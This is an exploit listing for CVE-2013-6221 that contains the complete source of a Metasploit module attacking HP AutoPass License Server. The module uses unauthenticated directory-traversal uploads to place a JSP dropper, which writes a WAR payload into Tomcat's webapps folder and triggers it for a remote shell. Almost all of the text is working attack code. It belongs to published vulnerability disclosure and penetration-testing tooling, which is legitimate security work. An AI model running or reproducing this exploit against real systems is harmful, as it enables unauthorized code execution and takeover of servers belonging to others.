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HP AutoPass License Server File Upload

HP AutoPass License Server File Upload
Posted Jun 27, 2014
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a code execution flaw in HP AutoPass License Server. It abuses two weaknesses in order to get its objective. First, the AutoPass application doesn't enforce authentication in the CommunicationServlet component. On the other hand, it's possible to abuse a directory traversal when uploading files thorough the same component, allowing to upload an arbitrary payload embedded in a JSP. The module has been tested successfully on HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.

tags | exploit, arbitrary, code execution
advisories | CVE-2013-6221
MD5 | 3209b299f33911d071ed8ed5db8462cc

HP AutoPass License Server File Upload

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'HP AutoPass License Server File Upload',
'Description' => %q{
This module exploits a code execution flaw in HP AutoPass License Server. It abuses two
weaknesses in order to get its objective. First, the AutoPass application doesn't enforce
authentication in the CommunicationServlet component. On the other hand, it's possible to
abuse a directory traversal when uploading files thorough the same component, allowing to
upload an arbitrary payload embedded in a JSP. The module has been tested successfully on
HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-6221'],
['ZDI', '14-195'],
['BID', '67989'],
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04333125']
],
'Privileged' => true,
'Platform' => %w{ java },
'Arch' => ARCH_JAVA,
'Targets' =>
[
['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2014'))

register_options(
[
Opt::RPORT(5814),
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']),
OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]),
OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1])
], self.class)
end


def check
check_code = Exploit::CheckCode::Safe

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"),
'method' => 'POST'
})

unless res
check_code = Exploit::CheckCode::Unknown
end

if res && res.code == 500 &&
res.body.to_s.include?("HP AutoPass License Server") &&
res.body.to_s.include?("java.lang.NullPointerException") &&
res.body.to_s.include?("com.hp.autopass")

check_code = Exploit::CheckCode::Detected
end

check_code
end

def exploit
app_base = rand_text_alphanumeric(4+rand(32-4))
war = payload.encoded_war({ :app_name => app_base }).to_s
war_filename = "#{app_base}.war"

# By default, the working directory when executing the JSP is:
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\bin
# The war should be dropped to the next location to autodeploy:
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps
war_traversal = webapps_traversal
war_traversal << "webapps/#{war_filename}"
dropper = jsp_drop_bin(war, war_traversal)
dropper_filename = rand_text_alpha(8) + ".jsp"

print_status("#{peer} - Uploading the JSP dropper #{dropper_filename}...")
# The JSP, by default, is uploaded to:
# C:\Program Files\HP\HP AutoPass License Server\AutoPass\LicenseServer\conf\pdfiles\
# In order to execute it, through the AutoPass application we would like to drop it here:
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
dropper_traversal = install_traversal
dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}"
res = upload_file(dropper_traversal, dropper)

register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
register_files_for_cleanup("#{webapps_traversal}webapps/#{war_filename}")

unless res && res.code == 500 &&
res.body.to_s.include?("HP AutoPass License Server") &&
res.body.to_s.include?("java.lang.NullPointerException") &&
res.body.to_s.include?("com.hp.autopass")

print_error("#{peer} - Unexpected response... upload maybe failed, trying anyway...")
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "scripts", dropper_filename),
'method' => 'GET'
})

unless res and res.code == 200
print_error("#{peer} - Unexpected response after executing the dropper...")
end

10.times do
select(nil, nil, nil, 2)

# Now make a request to trigger the newly deployed war
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi(
{
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8) + ".jsp"),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end

def webapps_traversal
"../" * datastore['WEBAPPS_DEPTH']
end

def install_traversal
"/.." * datastore['INSTALL_DEPTH']
end

# Using a JSP dropper because the vulnerability doesn't allow to upload
# 'binary' files, so a WAR can't be uploaded directly.
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def upload_file(file_name, contents)
post_data = Rex::MIME::Message.new
post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadedFile\"; filename=\"#{file_name}\"")

data = post_data.to_s

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

res
end

end
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